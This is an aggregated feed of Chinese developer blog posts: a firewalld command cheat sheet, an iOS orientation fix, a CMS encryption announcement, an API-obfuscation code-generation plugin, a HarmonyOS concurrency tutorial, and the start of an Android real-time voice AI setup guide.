  • 显示原始代码和优化后的代码对比,开发者可选择接受或拒绝。

4.Builder模式

image.png

image.png

image.png

  • 通过简单描述(如“根据设计稿完成项目”),Trae可自动生成项目代码。
  • 在生成过程中,Trae可能会征求用户意见(如是否执行命令),需手动确认。

5.代码预览与调试

image.png

  • 提供Webview功能,可直接在IDE内预览Web页面。
  • 遇到错误时,可通过点击命令行中的“Add To Chat”按钮,将错误信息复制到Chat中,让AI帮助解决。

6.上下文引用

  • 在Chat中可引用代码块、文件、文件夹或整个项目。

7.命令行工具

支持在本地终端安装Trae的命令行工具。

使用Trae 从 0 开发一个Google 插件

image.png

上才艺

喂食

输入Propmt 设计稿 + 需求点

image.png

优化

时不时会出现网络错误,可以多尝试下

image.png

开始构建

image.png

持续优化

image.png

页面效果不太好,开始喂它我的代码

image.png

效果图

image.png

项目地址

image.png

最后

AI工具的竞争为我们带来了显著的效率提升和学习便利,但也带来了技能退化、隐私安全和职业竞争等挑战。未来,程序员需要在充分利用AI工具的同时,注重基础能力的培养和创新思维的提升,以应对技术变革带来的机遇与挑战。

by 程序员海军 at January 22, 2025 08:24 AM

juejin career

Linux 防火墙 Systemctl 常用命令速查

Linux 防火墙 Systemctl 常用命令速查

这篇博客主要记录我日常使用 Linux 防火墙(通常指 firewalld)时,用 systemctl 管理服务的常用命令,以及一些端口操作和 Java 开发相关的命令,方便自己快速查阅。

为什么使用 Systemctl 管理防火墙?

systemctl 是 Linux 中用于管理系统服务的主要工具。我们通常使用它来启动、停止、重启、查看服务状态等等。对于防火墙服务,例如 firewalld,也是如此。使用 systemctl 可以更统一、更方便地管理系统服务,包括防火墙。

常用 Systemctl 命令

以下是一些我常用的 systemctl 命令,用于管理 firewalld 防火墙服务:

1. 启动防火墙

sudo systemctl start firewalld
  • 说明: 这条命令会启动 firewalld 服务,使其开始生效。

2. 停止防火墙

      sudo systemctl stop firewalld
  • 说明: 这条命令会停止 firewalld 服务,此时防火墙规则将不再生效。请谨慎使用,在必要情况下才停止防火墙。

3. 重启防火墙

      sudo systemctl restart firewalld
    
  • 说明: 这条命令会先停止 firewalld 服务,然后重新启动它。通常用于在修改防火墙配置后使其生效。

4. 查看防火墙状态

      sudo systemctl status firewalld
    
  • 说明: 这条命令会显示 firewalld 服务的当前状态,包括是否正在运行,以及任何相关的错误信息。这是检查防火墙是否正常运行的常用命令。

5. 设置防火墙开机自启

      sudo systemctl enable firewalld
    
  • 说明: 这条命令会将 firewalld 服务设置为开机自启动,即每次系统启动时都会自动启动防火墙。

6. 取消防火墙开机自启

      sudo systemctl disable firewalld
    
  • 说明: 这条命令会取消 firewalld 服务的开机自启动。

7. 查看防火墙是否开机自启

      systemctl is-enabled firewalld    
  • 说明: 这条命令会检查 firewalld 服务是否设置为开机自启,输出结果可能是 enabled 或 disabled。

端口操作 (firewall-cmd)

以下命令使用 firewall-cmd 来操作端口,这些命令和 Java 开发密切相关:

1. 开放指定端口

      sudo firewall-cmd --zone=public --add-port=8080/tcp --permanent
      sudo firewall-cmd --zone=public --add-port=8080/udp --permanent    
  • --zone=public: 见文末
  • 说明: 开放 8080 端口的 TCP 和 UDP 流量,--permanent 参数表示永久生效。
  • Java 应用常用端口: 8080 通常是 Tomcat 或其他 Java Web 应用的默认端口。
      sudo firewall-cmd --zone=public --add-port=22/tcp --permanent    
  • 说明: 开放ssh 服务端口22。
      sudo firewall-cmd --zone=public --add-port=3306/tcp --permanent    
  • 说明: 开放 mysql 默认端口3306。

2. 查看已开放端口

      sudo firewall-cmd --zone=public --list-ports    
  • 说明: 列出 public 区域已开放的所有端口。

3. 删除已开放端口

      sudo firewall-cmd --zone=public --remove-port=8080/tcp --permanent    
  • 说明: 删除 public 区域中开放的 8080/tcp 端口。

4. 使配置生效

      sudo firewall-cmd --reload
    
  • 说明: 在修改防火墙规则后,使用该命令使更改立即生效。

5. 查看指定端口是否开放

      sudo firewall-cmd --zone=public --query-port=8080/tcp
    
  • 说明: 查询8080端口的tcp服务是否开放。

6. 批量开放端口

      sudo firewall-cmd --zone=public --add-port={8080-8085}/tcp --permanent
      sudo firewall-cmd --zone=public --add-port={8080-8085}/udp --permanent
    
  • 说明: 批量开放 8080 到 8085 端口的 TCP 和 UDP 流量。使用大括号 {} 和短横线 - 来表示一个端口范围。

7. 批量删除端口

      sudo firewall-cmd --zone=public --remove-port={8080-8085}/tcp --permanent
    
  • 说明: 批量删除 8080 到 8085 端口的 TCP 流量。

8. 批量开放多个不连续端口

      sudo firewall-cmd --zone=public --add-port={8080,8085,9000}/tcp --permanent
    
  • 说明: 批量开放 8080、8085 和 9000 端口的 TCP 流量。使用大括号 {} 和逗号 , 来表示多个不连续端口。

9. 批量删除多个不连续端口

      sudo firewall-cmd --zone=public --remove-port={8080,8085,9000}/tcp --permanent
    
  • 说明: 批量删除 8080、8085 和 9000 端口的 TCP 流量。

Java 相关端口补充

  • 8080, 8009: Tomcat 默认 HTTP 和 AJP 端口。
  • 80: HTTP 默认端口
  • 443: HTTPS 默认端口
  • 22: SSH 默认端口
  • 3306: MySQL 默认端口
  • 6379: Redis 默认端口
  • 5432: PostgreSQL 默认端口
  • 1099, 9999: JMX 端口
  • 其他根据实际情况开放的端口

其他一些有用的命令 (可选)

  • 查看所有已安装的服务 (包括防火墙):

          systemctl list-units --type=service        
    
  • 查看所有正在运行的服务:

          systemctl list-units --type=service --state=running        
    

注意事项

  • 请务必使用 sudo 执行上述命令,因为管理系统服务需要管理员权限。
  • 在修改防火墙配置后,通常需要重启防火墙服务以使更改生效 (sudo systemctl restart firewalld) 或者使用 sudo firewall-cmd --reload。
  • 对于 firewalld 防火墙本身的配置,还需要使用 firewall-cmd 等工具。本文主要关注使用 systemctl 管理 firewalld 服务本身,以及使用 firewall-cmd 配置端口。
  • --permanent 参数非常重要,不加此参数配置重启后会失效。
  • 批量操作端口时,注意端口范围和端口列表的格式。

说明 --zone=public

  1. 默认区域:

    • firewalld 有多个区域(zone)的概念,比如 public、trusted、dmz 等。每个区域都有不同的默认规则和信任级别。
    • 当你使用 firewall-cmd 命令时,如果没有明确指定 --zone 参数,firewalld 会使用默认区域 (default zone) 的配置
    • 默认区域通常是 public,但可以通过 firewall-cmd --get-default-zone 命令查看当前系统的默认区域。也可以通过 firewall-cmd --set-default-zone= 命令修改默认区域。
    • 因此,如果你当前系统的默认区域是 public, 那么在 firewall-cmd 操作时省略 --zone=public 也能达到同样的效果,因为默认就是 public。
  2. 不指定 --zone 的后果:

    • 当你不指定 --zone 时,firewall-cmd 将会作用于 当前默认区域
    • 如果你修改了默认区域(比如修改成了dmz),那么所有省略 --zone 的 firewall-cmd 命令都会作用于新的默认区域,而非 public。
    • 这可能会导致潜在的配置问题,例如,你可能以为在 public 区域开放了端口,但实际上是在 dmz 区域开放了,从而产生意想不到的安全风险。
  3. 最佳实践:

    • 为了清晰和避免歧义,  强烈建议 在 firewall-cmd 命令中明确指定 --zone 参数。  即使你想操作的是 public 区域,也最好加上 --zone=public,这样可以确保你的意图明确,且不会因为默认区域的改变而导致配置错误。
    • 特别是在脚本或自动化部署中使用 firewall-cmd 时,更要明确指定 --zone ,防止出现不可控的情况。
  4. 总结:

    • 省略 --zone=public 并非错误,但在当前默认区域是 public 的情况下,才等效于指定 --zone=public 。
    • 为了代码的可读性、可维护性和避免潜在的配置错误,  最好在所有 firewall-cmd 命令中明确指定 --zone 参数。

简单来说:

虽然不指定 --zone=public 有时可以运行,但是它依赖于系统当前默认的防火墙区域配置。为了更明确和避免歧义,强烈建议在所有 firewall-cmd 命令中 明确指定 --zone=public 。

总结

这些是我常用的 systemctl 命令,用于管理 firewalld 防火墙服务,以及常用的端口操作和 Java 开发相关的端口。希望这篇博客对你有所帮助,可以随时查阅!

by Rm at January 22, 2025 08:18 AM

juejin ios

解决Swift开发部分页面横屏失败的问题

问题

我的项目是使用swift开发的,并且项目不支持横屏,但是某些页面必须要横屏,在iOS16以下我使用

UIDevice.current.setValue(isLandscape ? UIInterfaceOrientation.landscapeRight.rawValue : UIInterfaceOrientation.portrait.rawValue, forKey: "orientation")

进行横屏没问题.但是在iOS16及以上就会报一个bug

BUG IN CLIENT OF UIKIT: Setting UIDevice.orientation is not supported. Please use UIWindowScene.requestGeometryUpdate(_:)

意思就是在iOS16以上不支持这种横屏了,建议我们使用

UIWindowScene.requestGeometryUpdate(_:)

这个方法。但是我在使用这个去横屏的时候会报错所有已请求的方向均不受视图控制器支持。已请求:landscapeRight;受支持:portrait

解决办法

下面是我的解决办法: 下面是解决的代码 先重写一下

override var supportedInterfaceOrientations: UIInterfaceOrientationMask {

        return isLandscape ? .landscape : .portrait

    }

    func switchScreenOrientation(isLandscape: Bool) {

            if #available(iOS 16.0, *) {

                guard let scene = UIApplication.shared.connectedScenes.first as? UIWindowScene else { return }

                let geometryPreferences = UIWindowScene.GeometryPreferences.iOS(interfaceOrientations: isLandscape ? .landscapeRight : .portrait)

                setNeedsUpdateOfSupportedInterfaceOrientations()

                scene.requestGeometryUpdate(geometryPreferences) { error in

                    if !error.localizedDescription.isEmpty {

                        print("Error updating geometry: \(error.localizedDescription)")

                    }

                }

            } else {

                if let appDelegate = UIApplication.shared.delegate as? AppDelegate {

                    appDelegate.orientationLock = isLandscape ? .landscape : .portrait

                    UIDevice.current.setValue(isLandscape ? UIInterfaceOrientation.landscapeRight.rawValue : UIInterfaceOrientation.portrait.rawValue, forKey: "orientation")

                    HomeLiveContentViewController.attemptRotationToDeviceOrientation() // 强制旋转

                }
            }
        }

这里是主要的代码但是我们还需要去info.plist中设置我们需要横屏的方向

image.png 这里需要设置一下。这里设置了我们项目就不会只是竖屏了会跟随变化,这时候我们还需要去AppDelegate里面添加一个

var orientationLock: UIInterfaceOrientationMask = .portrait
func application(_ application: UIApplication, supportedInterfaceOrientationsFor window: UIWindow?) -> UIInterfaceOrientationMask {

        return orientationLock

    }

这里固定上,就这样我们就完成了我们的横竖屏切换。 如有其他问题欢迎留言

by ryan_冉 at January 22, 2025 08:17 AM

oschina news project

JTopCMS V4 更新:模型字段支持国密 SM4 加密

JTopCMS V4 更新:模型字段支持国密 SM4 加密

JT明镜止水
 JT明镜止水
发布于 2025年01月22日16时07分00秒
收藏 2

介绍 :  JTopCMS V4 信创版功能更新!模型字段支持国密SM4加密,数据库存储密文更加安全。        

   SM4(对称加密算法)

  • 特点:SM4 是中国制定的分组密码算法,属于分组密码体制。
  • 用途:主要用于数据加密,如文件加密、数据传输加密等。

     JTopCMS在信创项目实施过程中,解决了要求加密自定义模型字段为密文, 并存储在各种国产数据库,同时加密字段仍支持一定程度的查询与高级搜索的需求!配合安全员对密锁的控制,从而符合较高等级的安全规范。

模型字段支持加密与算法

通过安全员控制对密锁的使用

数据库存储密文(以下为某项目人大金仓数据库截图)

系统特色

1. 基于 JAVA 标准自主研发,支持主流国产信创环境,国产数据库以及国产中间件。安全,稳定,经过多次政务与企事业单位项目长期检验,顺利通过等保二,三级评测。

2. 高效便捷的进行站点文档采编,审核,页面模板制作。具有性能优秀,稳定,安全,易扩展等特点,适合建设政府机构,教育部门以及企事业单位的站群系统,支持集群管理 系统支持集群化部署,可任意增加和较少 CMS 服务节点,根据业务需要独立部署服务节点,加强系统容错性 并发能力及扩展能力。

3. 站点支持静态化发布 内容静态化发布,不但支持生成 html,更可通过生成 shtml 方式,精确控制页面局部静态化,最大限度提高站点并发访问性能以及可维护性。

4. 内容模型自定义支持 支持自定义模型功能,内置完善的字段类型,所定义字段还可参与联合查询,高级搜索,使您的站点具备高度扩展能力,方便应对各种业务需要。

5. 强大可扩展权限系统 支持等级化的按部门划分的子站点管理,下级无法越权,明确权限职责。支持粗(菜单级)、细(业务数据)粒度权限控制,可按照组织、角色、用户进行授权, 有效划分权限范围,收放自如,职责清晰。并支持二次开发功能整合

6. 安全防护能力 系统能自动拦截并记录分析各种非法访问,及时通知站点管理员进行处理,对于恶意访问者,以黑名单制度自动进行阻止,为您的站点安全保驾护航。

7. 高级搜索支持 支持类似百度的高级搜索功能,支持大数据下的快速搜索,具有可配置性,结合自定义模型功能,可快速打造符合你需求的信息模型搜索。

8. 网站群架构支持 一套 CMS 产品可支持部署多个站点,由 JTopcms 统一管理,但各站点彼此数据和逻辑性完全独立,且又可相互进行数据共享交流,为用户提供最大价值

9. 实施网站开发简单 JTopcms 提供了完善的标签体系,只需要使用者具备 html 和美工知识储备,在 CMS 标签的帮助下,即可高效的制作出可管理的动态站点。

10. 灵活的数据组织方式 支持基本栏目和专题分类,TAG 标签分类,更支持页面区块化碎片管理,自定义推荐位,数据组合方式灵活强大,满足各种数据组织需求。

11. 二次开发高效 JTopcms 基于 J2EE 核心模式自主研发,立项之初即考虑二次开发支持,扩展新模块只需具备 Java web 开发基础以及 SQL 能力, 就可快速上手,高效无侵入方式开发功能。

12. 支持资源发布点 支持自动将图片 视频 文件 以及静态发布 html 发布到各资源服务器,动静分离,静态前端访问和动态后端访问独立处理,提升性能和安全性。

联系方式

本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:JTopCMS V4 更新:模型字段支持国密 SM4 加密

January 22, 2025 08:05 AM

juejin freebie

IOS混淆插件介绍

背景

由于 IOS 审核机制的要求,我们需要对接口的入参、出参和接口路径进行混淆处理。具体来说,混淆的方式是通过替换入参和出参的参数名称以满足审核要求。

然而,这些替换操作往往是重复性的,并且不涉及具体业务逻辑。因此,我们需要一种高效且简单的解决方案来完成这项工作。

方案分析

对于混淆最关键点就是生成控制器接口,以及入参/出参对象,因为这个混淆本来就没有业务逻辑,只是把参数作一些映射而已。

我们考虑了以下两种实现方式:

  1. 动态替换接口入参/出参 动态替换虽然灵活,但可能会导致性能损耗,并增加技术实现的复杂性,因此被放弃。

  2. 通过插件生成混淆代码 基于上述原因,我们选择使用第二种方式,通过插件生成混淆代码。这种方式更高效,且便于维护。

解决方案

我们的核心思路是:

  • 准备一些代码模板文件,通过 Velocity( vm )模板引擎将模板中的关键参数进行替换。
  • 使用 Idea 插件生成混淆后的代码文件。
  • 对于入参和出参的参数替换,通过调用大模型生成与原始参数含义相近的词汇,确保混淆后的代码语义合理且规整。

此方案在兼顾实现效率的同时,也最大程度减少了人工干预,使代码生成过程更加自动化、智能化。

插件安装

通过本地安装方式,将jar包导入进去

配置插件

这样就配置完成了,插件安装配置之后,最重要的是,模板的维护。

上面配置中,路径配置是生成代码保存的路径。文心一言配置是接入的文心一言大模型配置(主要用户获取参数名称的相近词汇)。本地代码模板配置指生成的代码模板,以及代码模板配置文件,这两种文件不同项目是不同的,但是配置需要按照一定的规则。

安装之后右键,可以看到有 full code(全量)、raised code(增量)生成代码。

全量生成代码

首次打开是没有任何接口的,需要修改配置

接口读取的是全量代码JSON配置文件

全量代码JSON配置文件

配置文件也在模板文件里面,也是需要维护的,配置文件定义了生成哪些类,该如何生成

以cms 服务配置文件为例:

serviceName:表示服务名,也就是插件选择要生成哪些服务的名称来源。

items:具体要生成的内容。

type: 类型,0 控制器,1 入参 2 出参 3 转换器。

Methods: 只有 type 为 0 才会有,表示控制器有哪些方法。

className: 生成的类名后缀(一般与模板名称一致)

loadPath: 加载路径(template 后一个目录即可)

params: 这是需要生成相近词汇的原词汇

这里的接口名称读取的就是 JSON文件中的 serviceName。

生成代码就是通过这个配置文件的 系统配置的路径 + loadPath 找到对应的模板来动态生成代码。

增量生成代码

增量生成代码的需求是在已经生成过这个控制器了,然后需要在该控制器下新增一些方法,我们知道全量生成方式是会把整个控制器生成出来,但是如果想只加某一个方法就不行了。

增量是以 url 来识别生成哪个方法的,因此增量的配置文件也是围绕这 方法级别配置的。

增量代码JSON配置文件

Url: 指接口路径,IOS客户端一般都是给我们要混淆的接口路径,通过这个找到对应的接口方法。

Item 里面的和全量的类似了,唯一区别是 type 没有0,而是增加了一个 type = 4,表示生成的控制器接口方法,这个时候 params 不是表示参数名了,也是表示接口方法名

代码模板

地址:xxxxx

上面的模板配置,就是把这个模板拉取到本地,然后关联上。

模板类型以下代码,

控制器能使用的参数如下:

  1. controllerInfo.pck

  2. controllerInfo.importPackage

  3. controllerInfo.path

  4. controllerInfo.classPrefix

入参类:

出参依此类推

值得注意的是,JsonProperty 的值就是需要生成相近词汇的原单词,而这个词汇在 配置文件中体现

注意

去掉转换器,转换代码统一写在入参/出参里面,这样的好处是,考虑增量插件的时候,不需要考虑转化器的生成

问题:

  1. 貌似接口众多,JSON配置文件越来越大,导致JSON文件臃肿 -------- 方案 拆
  2. 提示词中已使用的词汇越多,提示词内容越大,不知道会不会有影响。

源代码

gitee.com/listen_w/co…

by 肥宅阿久 at January 22, 2025 07:34 AM

juejin android

鸿蒙开发——并发之异步与线程

一、并发概述

并发是指在同一时间段内,能够处理多个任务的能力。并发并不一定意味着同时执行(这需要多线程或多核处理器),而是指任务的执行在时间上是交错的。为了提升应用的响应速度与帧率,以及防止耗时任务对主线程的干扰,系统提供了异步并发和多线程并发两种处理策略。

  • 异步并发是指异步代码在执行到一定程度后会被暂停,以便在未来某个时间点继续执行,同一时间只有一段代码在执行。ArkTS通过Promise和async/await提供异步并发能力,适用于单次I/O任务的开发场景。

  • 多线程并发允许在同一时间段内同时执行多段代码。ArkTS通过TaskPool和Worker提供多线程并发能力。

二、异步并发

Promise和async/await提供异步并发能力,适用于单次I/O任务的开发场景,标准的JS异步语法。

1、Promise

Promise是一种用于处理异步操作的对象,可以将异步操作转换为类似于同步操作的风格。Promise有三种状态:

  • pending(进行中)

  • fulfilled(已完成)

  • rejected(已拒绝)

Promise对象创建后处于pending状态,并在异步操作完成后转换为fulfilled或rejected状态。

const promise: Promise<number> = new Promise((resolve: Function, reject: Function) => {
setTimeout(() => {
  const randomNumber: number = Math.random();
  if (randomNumber > 0.5) {
    resolve(randomNumber);
  } else {
    reject(new Error('Random number is too small'));
  }
}, 1000);
})

Promise对象创建后,可以使用then方法和catch方法指定fulfilled状态和rejected状态的回调函数

promise.then((result: number) => {
 console.info(`Random number is ${result}`);
}).catch((error: BusinessError) => {
 console.error(error.message);
});

2、async/await

一种用于处理异步操作的Promise语法糖。

使用async关键字声明一个函数为异步函数,并使用await关键字等待Promise的解析,并将其解析值存储在result变量中。

async function myAsyncFunction(): Promise<void> {
  const result: string = await new Promise((resolve: Function) => {
    setTimeout(() => {
      resolve('Hello, world!');
    }, 3000);
  });
  console.info(result); // 输出: Hello, world!
}

myAsyncFunction();

三、JS中异步如何实现

  • 同步任务:在主线程上排队执行的任务,只有前一个任务执行完毕,才能执行后一个任务;

  • 异步任务:不进入主线程、而进入"任务队列"(task queue)的任务,只有"任务队列"通知主线程,某个异步任务可以执行了,该任务才会进入主线程执行。

1、Js中的Event Loop(事件循环)

事件循环是 JavaScript 中处理异步操作的核心机制,它负责管理任务队列的执行顺序。

image.png

  1. JavaScript 引擎首先执行所有的同步任务。

  2. 当遇到异步任务时,JavaScript 会将其交给其他工作线程处理(如 I/O 操作、定时器、网络请求等),主线程继续执行后续代码。

  3. 一旦异步任务完成(如 I/O 操作完成、定时器到期),相关的回调函数会被推入任务队列(Task Queue) 。

  4. 事件循环检查主线程是否空闲,如果空闲,则从任务队列中取出异步任务的回调函数,放入主线程执行。

2、宏任务和微任务

为什么分两种:

页面渲染事件,各种IO的完成事件等随时被添加到任务队列中,一直会保持先进先出的原则执行,我们不能准确地控制这些事件被添加到任务队列中的位置。但是这个时候突然有高优先级的任务需要尽快执行,那么一种类型的任务就不合适了,所以引入了微任务队列。

1、宏任务:

  • script(整体代码)
  • setTimeout()
  • setInterval()
  • postMessage
  • I/O
  • UI交互事件

2、微任务:

  • new Promise().then(回调)
  • async/await

3、运行机制

1、在当前执行栈为空时,主线程会查看微任务队列是否有事件存在

  • 存在,依次执行队列中的事件对应的回调,直到微任务队列为空,然后去宏任务队列中取出最前面的事件,把当前的回调加到当前指向栈。

  • 不存在,那么再去宏任务队列中取出一个事件并把对应的回到加入当前执行栈;

2、当前执行栈执行完毕后时会立刻处理所有微任务队列中的事件,然后再去宏任务队列中取出一个事件。同一次事件循环中,微任务永远在宏任务之前执行。

3、步骤

  • 执行一个宏任务(栈中没有就从事件队列中获取)

  • 执行过程中如果遇到微任务,就将它添加到微任务的任务队列中

  • 宏任务执行完毕后,立即执行当前微任务队列中的所有微任务(依次执行)

  • 当前宏任务执行完毕,开始检查渲染,然后GUI线程接管渲染

  • 渲染完毕后,JS线程继续接管,开始下一个宏任务(从事件队列中获取)

总结:

执行宏任务,然后执行该宏任务产生的微任务,若微任务在执行过程中产生了新的微任务,则继续执行微任务,微任务执行完毕后,再回到宏任务中进行下一轮循环。

四、线程

线程是是操作系统能够进行运算调度的基本单位,共享进程的资源,一个进程可以包含多个线程。

1、线程分类

1. 主线程

  • 执行UI绘制。

  • 管理主线程的ArkTS引擎实例,使多个UIAbility组件能够运行在其之上。

  • 管理其他线程的ArkTS引擎实例,例如使用TaskPool(任务池)创建任务或取消任务、启动和终止Worker线程。

  • 分发交互事件。

  • 处理应用代码的回调,包括事件处理和生命周期管理。

  • 接收TaskPool以及Worker线程发送的消息。

2. TaskPool Worker线程。

  • TaskPool自行管理线程数量,其生命周期由TaskPool统一管理。Worker线程最多创建8个,其生命周期由开发者自行维护。用于执行耗时操作,支持设置调度优先级、负载均衡等功能。

3. Worker线程

  • 用于执行耗时操作,支持线程间通信。

image.png

2、Actor并发模型

Actor并发模型线程之间不共享内存,需要通过线程间通信机制传输并发任务和任务结果。

  • Actor并发模型每一个线程都是一个独立Actor,每个Actor有自己独立的内存,Actor之间通过消息传递机制触发对方Actor的行为,不同Actor之间不能直接访问对方的内存空间。

  • Actor并发模型对比内存共享并发模型的优势在于不同线程间内存隔离,不会产生不同线程竞争同一内存资源的问题。开发者不需要考虑对内存上锁导致的一系列功能、性能问题,提升了开发效率。

3、线程通信 Emitter

Emitter是一种作用在进程内的事件处理机制,为应用程序提供订阅事件、发布事件、取消事件订阅的能力。

订阅事件

 // 定义一个eventId为1的事件。
 let event: emitter.InnerEvent = {
   eventId: 1
 };
 
 // on订阅事件,收到eventId为1的事件后执行回调函数。
 emitter.on(event, () => {
   console.info('on callback');
 });

发送事件

// 定义一个eventId为1的事件,事件优先级为Low。
let event: emitter.InnerEvent = {
  eventId: 1,
  priority: emitter.EventPriority.LOW
};
let eventData: emitter.EventData = {
  data: {
    content: 'emitter',
    id: 1,
    isEmpty: false
  }
};

// 发送eventId为1的事件,事件内容为eventData。
emitter.emit(event, eventData);

五、TaskPool和Worker

1、应用场景

主要用于CPU密集型任务、I/O密集型任务和同步任务等并发场景。提供了TaskPool和Worker两种并发能力

  • CPU密集型任务:占用系统资源处理大量计算能力的任务,需要长时间运行。例如图像处理、视频编码、数据分析等。

  • I/O密集型任务:通常需要频繁地进行磁盘读写、网络通信等操作。

  • 同步并发任务:在多个线程之间协调执行的任务,其目的是确保多个任务按照一定的顺序和规则执行,以达到特定的目的。

2、TaskPool

任务池(TaskPool)作用是为应用程序提供一个多线程的运行环境,降低整体资源的消耗、提高系统的整体性能,无需关心线程实例的生命周期。

image.png

2.1 注意事项:

  • 任务函数在TaskPool工作线程的执行耗时不能超过3分钟(不包含Promise和async/await异步调用的耗时,例如网络下载、文件读写等I/O任务的耗时),否则会被强制退出。

  • 实现任务的函数入参需满足序列化支持的类型。

  • 由于不同线程中上下文对象是不同的,因此TaskPool工作线程只能使用线程安全的库,例如UI相关的非线程安全库不能使用。

  • 序列化传输的数据量大小限制为16MB。

  • Promise不支持跨线程传递

2.2 使用示例

@Concurrent
async function asyncFunc(val1:number, val2:number): Promise<number> {
  let ret: number = await new Promise((resolve, reject) => {
    let value = val1 + val2;
    resolve(value);
  });
  return ret; // 支持。直接返回Promise的结果。
}

function taskpoolExecute() {
  taskpool.execute(asyncFunc, 10, 20).then((result: Object) => {
    console.info("taskPoolTest task result: " + result);
  }).catch((err: string) => {
    console.error("taskPoolTest test occur error: " + err);
  });
}
taskpoolExecute()

3、Worker

3.1 基本概念

  • 创建Worker的线程称为宿主线程(不一定是主线程,工作线程也支持创建Worker子线程),Worker自身的线程称为Worker子线程。

  • 每个Worker子线程与宿主线程拥有独立的实例,包含基础设施、对象、代码段等。

  • Worker子线程和宿主线程之间的通信是基于消息传递的,Worker通过序列化机制与宿主线程之间相互通信,完成命令及数据交互。

image.png

3.2 注意事项

  • Worker创建后需要手动管理生命周期,且最多同时运行的Worker子线程数量为64个。

  • 不支持跨HAP使用Worker线程文件。

  • 由于不同线程中上下文对象是不同的,因此Worker线程只能使用线程安全的库,例如UI相关的非线程安全库不能使用。

  • 序列化传输的数据量大小限制为16MB。

3.3 主线程发送和接收消息

在主线程中通过调用ThreadWorker的constructor()方法创建Worker对象,当前线程为宿主线程。


// 创建Worker对象

let workerInstance = new worker.ThreadWorker('entry/ets/workers/worker.ets');

在主线程中通过调用onmessage()方法接收Worker线程发送过来的消息,并通过调用postMessage()方法向Worker线程发送消息。

// 注册onmessage回调,当宿主线程接收到来自其创建的Worker通过workerPort.postMessage接口发送的消息时被调用,在宿主线程执行
workerInstance.onmessage = (e: MessageEvents) => {
  let data: string = e.data;
  console.info("workerInstance onmessage is: ", data);
}

// 注册onerror回调,当Worker在执行过程中发生异常时被调用,在宿主线程执行
workerInstance.onerror = (err: ErrorEvent) => {
  console.info("workerInstance onerror message is: " + err.message);
}

// 注册onmessageerror回调,当Worker对象接收到一条无法被序列化的消息时被调用,在宿主线程执行
workerInstance.onmessageerror = () => {
  console.info('workerInstance onmessageerror');
}

// 注册onexit回调,当Worker销毁时被调用,在宿主线程执行
workerInstance.onexit = (e: number) => {
  // 当Worker正常退出时code为0,异常退出时code为1
  console.info("workerInstance onexit code is: ", e);
}

// 向Worker线程发送消息
workerInstance.postMessage('1');

3.4 Worker线程发送和接收消息

// worker.ets
import { ErrorEvent, MessageEvents, ThreadWorkerGlobalScope, worker } from '@kit.ArkTS';

const workerPort: ThreadWorkerGlobalScope = worker.workerPort;

// 注册onmessage回调,当Worker线程收到来自其宿主线程通过postMessage接口发送的消息时被调用,在Worker线程执行
workerPort.onmessage = (e: MessageEvents) => {
  let data: string = e.data;
  console.info('workerPort onmessage is: ', data);

  // 向主线程发送消息
  workerPort.postMessage('2');
}

// 注册onmessageerror回调,当Worker对象接收到一条无法被序列化的消息时被调用,在Worker线程执行
workerPort.onmessageerror = () => {
  console.info('workerPort onmessageerror');
}

// 注册onerror回调,当Worker在执行过程中发生异常被调用,在Worker线程执行
workerPort.onerror = (err: ErrorEvent) => {
  console.info('workerPort onerror err is: ', err.message);
}

3.5 线程销毁

在宿主线程中通过调用onexit()方法定义Worker线程销毁后的处理逻辑。

// Worker线程销毁后,执行onexit回调方法
workerInstance.onexit = (): void => {
 console.info("main thread terminate");
}

在宿主线程中通过调用terminate()方法销毁Worker线程,并终止Worker接收消息。


// 销毁Worker线程

workerInstance.terminate();

在Worker线程中通过调用close()方法主动销毁Worker线程,并终止Worker接收消息。


// 销毁线程

workerPort.close();

4、TaskPool和Worker的对比

由于TaskPool的工作线程会绑定系统的调度优先级,并且支持自动扩缩容。而Worker需要开发者自行创建,存在创建耗时以及不支持设置调度优先级,故在性能方面使用TaskPool会优于Worker,因此大多数场景推荐使用TaskPool。

  • 编码效率:TaskPool写法比Worker更简洁更好掌控,TaskPool还支持任务组、任务优先级、取消任务等能力。

  • 线程创建:Worker比TaskPool创建线程的开销大,因此对于应用首帧要求快速响应的场景推荐使用TaskPool。

  • 数据传输:TaskPool支持将任务方法作为一个参数进行传输,任务方法的序列化与反序列化耗时很短,可以忽略其影响。在需要处理多个不同任务的场景,TaskPool可以直接传递任务方法,而Worker需要创建worker.js文件承载任务方法相对复杂,此场景推荐使用TaskPool;其他情况下开发者可以选择Worker,也可以选择TaskPool。

  • 任务执行耗时:在中载场景下两种并发方案都可以选择,在重载下需要任务优先执行的场景推荐使用TaskPool并发方案。

5、应用场景

  • 运行时间超过3分钟使用Worker。

  • 有关联的一系列同步任务需要使用Worker。

  • 需要设置优先级的任务需要使用TaskPool。

  • 需要频繁取消的任务需要使用TaskPool。

  • 大量或者调度点较分散的任务推荐采用TaskPool。

by 村口老王 at January 22, 2025 07:27 AM

Android端搭建火山引擎实时对话式AI场景

前言

引言

现在在应用中接入各种文本的大模型已经很普遍了,各种API接口接入也很方便。但很多都是文字版的,一直想实现一款类似于豆包或者ChatGpt那样可以像跟人聊天一样的应用,调查下来,火山引擎rtc技术下的实时对话式AI方案符合我的需求。

火山引擎rtc技术下的实时对话式AI方案本质上就是通过RTC开启视频/语音聊天室,然后开启语音识别ASR、在线推理大模型、文字转语音TTS,这样就完成了从文本到语音的升级,可以像豆包那样跟大模型对话了。

因为豆包实时音视频的文档中只提供了实时对话式AI的web端实现源码,而Android端要想实现实时对话式AI,就只能参考web端的代码,把web端的代码迁移到Android端。

官方文档

火山引擎的实时对话式 AI场景方案介绍

web端演示地址

代码实现

代码地址

github.com/xiaoniu/Rea…

项目采用了MVVM架构,使用了Kotlin、Compose、Retrofit、Hilt等技术栈。

准备工作【必要条件】

实现实时对话式AI需要开通RTCApp、ASR、TTS还有各种权限等,在这里不再赘述。

具体需要开通的服务可以按照官方文档的操作: 开通服务

在完成了前面的步骤后,可以在无代码跑通实时对话式AI Demo链接里,测试服务能否正常开启跑通,如果可以跑通demo,就可以进行Android端的迁移了。

跑通Demo

替换Constants中的配置运行

object Constants {

    // 获取Access Key https://console.volcengine.com/iam/keymanage/
    const val ACCESS_KEY: String = ""
    // 获取Secret Key https://console.volcengine.com/iam/keymanage/
    const val SECRET_KEY: String = ""
    // 获取Rtc App ID https://console.volcengine.com/rtc/listRTC
    const val APP_ID = ""
    // 自定义房间ID
    const val ROOM_ID = "RtcTestRoom01"
    // 自定义User ID
    const val USER_ID = "RtcTestUser02"
    // 获取临时token https://console.volcengine.com/rtc/listRTC
